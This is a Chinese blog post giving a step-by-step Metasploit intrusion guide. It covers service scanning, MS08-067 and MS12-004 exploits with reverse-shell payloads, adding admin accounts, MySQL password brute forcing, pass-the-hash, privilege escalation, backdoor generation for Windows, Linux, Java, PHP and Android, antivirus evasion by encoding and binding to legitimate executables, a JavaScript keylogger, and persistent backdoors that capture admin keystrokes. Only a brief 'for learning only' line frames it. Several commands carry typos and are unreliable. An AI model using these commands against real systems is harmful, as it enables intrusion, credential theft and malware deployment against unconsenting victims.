metasploit实操交流

本文介绍了如何使用Metasploit进行端口扫描、SMB扫描获取系统信息、服务识别(SSH)、SNMP扫描与枚举、SMB和VNC身份验证等操作。内容涵盖基本命令和模块的使用,帮助读者理解渗透测试的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


启动
msfconsole
更新
./msfupdate
退回上一级
quit

端口扫描:

调用Nmap扫描:可以参照一篇详细的文章戳我

基础扫描:

nmap -v -sV 加上要扫描的ip
调用msf模块扫描
使用search参数搜索相关模块:
search portscan

使用use参数调用其中一个模块进行搜索
use auxiliary/scanner/portscan/syn

使用show options参数设置模块详细参数
show options
通过set参数设置模块参数
1.set INTERFACE 网卡(ip)
2. set PORTS 端口
通过run参数开始扫描
run
注:Ctrl+c可以暂停扫描

SMB扫描_获取系统信息

启动
msfconsile

通过use参数启动smb扫描模块
use auxiliary/scanner/smb/smb_version
通过 show options参数设置模块参数
show options

需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run

注:smb模块也可以扫描ip段,假如ip是192.168.1.1,要扫描多个ip可以set RHOS 192.168.1.1-200

服务识别(ssh)

启动
msfconsole

通过use参数启动服务识别模块
use auxiliary/scanner/ssh/ssh_version
通过 show options参数设置模块参数
show options
通过 show options参数设置模块参数
show options
需要设置ip
1.set RHOST IP(你需要扫描的ip),也可以扫描多个ip,只需要在要扫描的ip后面加上另一个IP就行了
2.
通过run参数启动模块
run

识别FTP的除了需要调用的模块不一样以外其他的都一样,就简单给出参数了。。。。。

  1. 调用;
    2.use auxiliary/scanner/ftp/ftp_version
  2. 设置参数:
    4.show options
    5.如果知道对方FTP账号就可以设置这个参数
  3. set FTPUSER
  4. 设置ip
    8.set RHOST IP
  5. 启动模块
    10.run

密码嗅探

启动
msfconsole
调用模块

use auxiliary/sniffer/psnuffle
设置参数
show options

不需要设置。。。。呵呵呵呵
通过run参数启动模块
run

SNMP扫描与枚举

启动
msfconsole
搜索模块

search snmp
调用扫描模块
use auxiliary/scanner/snmp/snmp_login

设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run
调用枚举模块
use auxiliary/scanner/snmp/snmp_enum

设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run

SMB登陆验证

启动
msfconsole
调用模块

use auxiliary/scanner/vnc/vnc_none_auth
设置参数
show options
需要设置的参数有ip和线程,登录账号
set RHOST IP(你需要扫描的ip/24) set THREADS 100(线程一般默认就好,电脑配置高的可以设置大) set SMBUser administraor(登录名可以自定义)
通过run参数启动模块
run

VNC身份验证

启动
msfconsole
调用模块

use auxiliary/scanner/vnc/vnc_none_auth
设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 100(线程50-100,自己定义吧,端口一般默认不用自己设置)
通过run参数启动模块
run

远程代码执行

启动
msfconsole
搜索漏洞

search 08-067
调用模块
use exploit/windows/smb/ms08_067_netapi

设置参数
show options
需要设置被攻击者ip
set RHOST IP

设置攻击载荷
show payloads

调用攻击载荷
set payload windows/meterpreter/reverse_tcp(最好背下来,因为是常用载荷,直接拼出来就不用找,找起来太费时)

设置参数
show options
需要设置本地ip
set LHOST ip

每次设置完最好都能重新查看一下是否设置成功
show options

用info查看漏洞详情及影响版本
info

当然如果不知道被攻击者服务器版本可以用namp查看服务器版本号
nmap -O ip

只有08-067需要设置版本号,其他都可以自动识别版本号
set target 编号

再次检查
show options

开始利用漏洞
exploit

可以看到反弹,直接shell
shell

在cmd下添加一个账户
net user admin admin /add

提供入侵常用cmd一份~~~戳我

MJDJ文件解析远程代码执行

启动
msfconsole
搜索漏洞
search 12-004
调用模块
use exploit/windows/browser/ms12_004_midi
设置参数
show options
需要设置ip
set SRVHOST IP

可以修改伪装
set URIPATH /(可以是反斜杠也可以是文字,例如:好看的电影)

再次检查参数
show option

开始生成
exploit
如果出现端口被占用那么我们还需要修改端口
set LPORT 1244

再次检查参数
show option
开始生成
exploit
等待被攻击者机器连接。。。。。连接上了,我们查看会话
sessions

看到有一个会话,选择id连接会话
sessions -i id(id是1就选1)
获得shell
shell

然后想干嘛就干嘛咯

口令安全

启动
msfconsole
搜索模块

serach msql_login(这两个模块也都有,可以根据实际情况而定,格式是xxx_login(这个单词直译就是登录),ssh_login,ftp_login)
调用模块
use auxiliary/scanner/mysql/mysql_login

设置参数
show options
需要设置的参数有ip,用户名,字典,线程

  1. set RHOST IP(被攻击者)
  2. set USERNAME root
  3. set PASS_FILE 字典路径
  4. set THREAD 50

再次检查参数
show option
然后开始
exploit(如果成功了,就可以得出用户名和密码了,直接命令连接即可)

hash值传递渗透(相关内容戳我)

启动
msfconsole
调用模块

use/windows/smb/psexec
设置参数
show options
需要设置的参数有ip和用户名

  1. set RHOST IP(被攻击者)
  2. set SMMBUSER 用户名

再次检查参数
show option
执行
exploit

查看哈希值,复制它
hashdump

退出
exit

使用哈希值登录
set smbpass hash

执行
exploit
5.NDP内核提权(基于漏洞给低权限提权的会话)
前提条件有一个已经连接的的会话(session),但是其权限低
搜索提权模块
serarch 14-002
调用模块
use exploit/windows/local/ms_ndproxy

设置参数
show options
设置会话id提权
set session 1(id)

再次检查参数
show option
执行
exploit
提权完成后使用getuid查看当前权限
getuid

也可以获得shell之后使用get进行提权
getsystem

多种后门的生成

启动
msfconsole
a.Windows后门生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=本机ip LPORT=端口 -f (格式)exe -o /((路径)自定义.exe

不要先发给被攻击者或者运行,要创建会话监听便于接受shell,搜索模块
search handler

调用模块
use exploit/mulit/handler

设置参数
show options
参数设置为创建所用的模块后门的参数
1.set payload windows/meterpreter/reverse_tcp
2.set LHOST IP
3.set LPORT 端口
创建会话监听完成,可以把生成的后门发给被攻击者了
b.linux生成后门
msfpayload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux

这里为了方便直接给靶机里的Linux777权限,列出目录,然后运行
1.chmod 777 linux
2. ls
3. ./linux

注意端口不能重复
一样的,设置会话监听
search handler
调用模块
use exploit/mulit/handler

设置参数
show options
参数设置为创建所用的模块后门的参数
set payload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux
1.set LHOST IP
2.set LPORT 端口
举一反三,java,php,等等的就给出代码参考
1.c.java后门的生成
2. msfpayload java/meterpreter/shell_reverse_tvp LHOST=IP LPORT=端口 W >123.jar
3.
4.d.php后门的生成
5. msfpayload java/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R | msfencode -e php/baes64 -t raw -o 123.php
6.上传到目标站-本地监听-目标访问服务器
7.
8.
9.e.安桌后门的生成
10. msfpayload android/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R >1.apk
11. 目标运行1.apk
12. 本地监听

内网渗透(获得shell前提下)

启动
msfconsole
获得shell扫描c段
1.run get_local_subnets 获取网卡
2. run autoroute -s ip 扫描c段
在有域的情况下,劫持域管理

  1. 调用:use incognito
  2. 设置:impersonate_token 域
  3. shell

调用嗅探模块

  1. use auxiliary/sniffer/psnuffle
  2. run

反反病毒(免杀)

启动
msfconsole
生成后门,以Windows为例,调用模块免杀
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai - t exe>123.exe
多次免杀(有时候多次免杀效果反而不好,因为免杀与次数无关)
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai -c 10 - t raw | msfencode -e x86/countdown -c 5 -t exe -o /1231.exe 10和5为免杀次数
绑定正常文件免杀
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -t exe -x /root/ftp.exe -o 123123.exe -e x86/shikata_ga_nai - k -c 10

加壳
upx -5 /1231.exe

特殊的xss(键盘记录)

启动
msfconsole
搜索模块

search keylogger
调用模块
use auxiliary/server/capture/http_javascript_keyloger

设置参数
show options

需要设置的参数有页面,这里启动启动官方演示
1.set DEMO true(意思是官方演示)
2. set URIPATH /(设置url)
3. set srvport 80(端口)
生成
run

维持访问(访问后门)

启动
msfconsole
调用模块

use exploit/multi/handler
生成payload方便连接会话
set payload windows/meterpreter/reverse_tcp

设置参数
show options
设置ip,端口

  1. set LHOST IP
  2. SET LPORT 1111

运行
run

获得后门
run metsvs -A

举例。。。。假如过段时间还想再次连接机器可以调用同样的模块,但是需要设置的东西就不一样了
调用模块
use exploit/multi/handler
生成payload
set payload windows/meterpreter/metsvs_bind_tcp
设置参数
show options
需要设置刚刚创建payload的端口和对方ip
1.set LPORT 31337
2. set RHOST IP

执行
exploit

可以启用键盘记录方便记录管理员密码
1.keyscan_start(键盘记录)
2. keyscan_dump(查看记录)

以上仅供学习参考

如有疑惑可以私信交流

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lao_wine

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值